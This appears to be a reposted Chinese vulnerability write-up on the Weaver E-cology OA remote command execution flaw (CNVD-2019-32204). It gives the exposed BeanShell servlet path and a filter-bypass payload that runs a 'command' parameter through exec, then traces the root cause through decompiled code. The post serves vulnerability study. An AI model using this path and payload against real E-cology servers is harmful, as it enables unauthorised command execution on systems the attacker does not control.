泛微OA E-cology(CNVD-2019-32204)遠程命令執行漏洞復現分析


漏洞復現

影響版本:
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
 
直接在網站根目錄后加入組件訪問路徑 /weaver/bsh.servlet.BshServlet/,如下圖執行了命令“whoami”
0

繞過方式:

1.unicode編碼
0

2.字符串拼接

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
0
 

漏洞分析

漏洞出現在e-cology的組件beanshell上,由於beanshell這個接口可被未授權訪問,同時這個接口在接受用戶請求時未進行相應過濾,最終導致遠程命令執行
那beanshell是什么呢?
簡單說,就是一個微型的java解釋器,可嵌入到其他程序中,用於動態的執行java代碼,類似於csharp中的動態編譯特性,我們通過一個例子來了解beanshell,如下圖:
  • 實例化Interpreter類
  • eval()函數用於動態的執行java代碼
0
除了eval函數,還有其他函數可以動態執行字符串
0
使用jadx反編譯jar包,由於訪問的組件路徑為/weaver/bsh.servlet.BshServlet/,所以我們先查看一下類bsh.servlet.BshServlet,如下圖
0
網站是post提交數據,所以我們查看doPost函數,發現只是執行了doGet函數:
0
跟蹤doGet:
httpServletRequest.getParameter("bsh.script");參數為傳入的值,賦值給了parameter
0
跟蹤parameter,傳入了evalScript函數:
0
跟蹤evalScript函數:
0
直接調用interpreter.eval進行了代碼執行
0
interpreter是Interpreter實例化的類
0

文中用到的工具

bsh-2.0b4.jar
鏈接:https://pan.baidu.com/s/1U3bYIgNlSgrfkhWovfx3CQ
 
jadx-gui-1.0.0.exe
鏈接:https://pan.baidu.com/s/1KVjwo7dIB4kS8LXwUI4zkA
獲取提取碼關注公眾號底下菜單點擊提取碼
 
參考:https://xz.aliyun.com/t/6560
歡迎關注我的公眾號啦!
 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM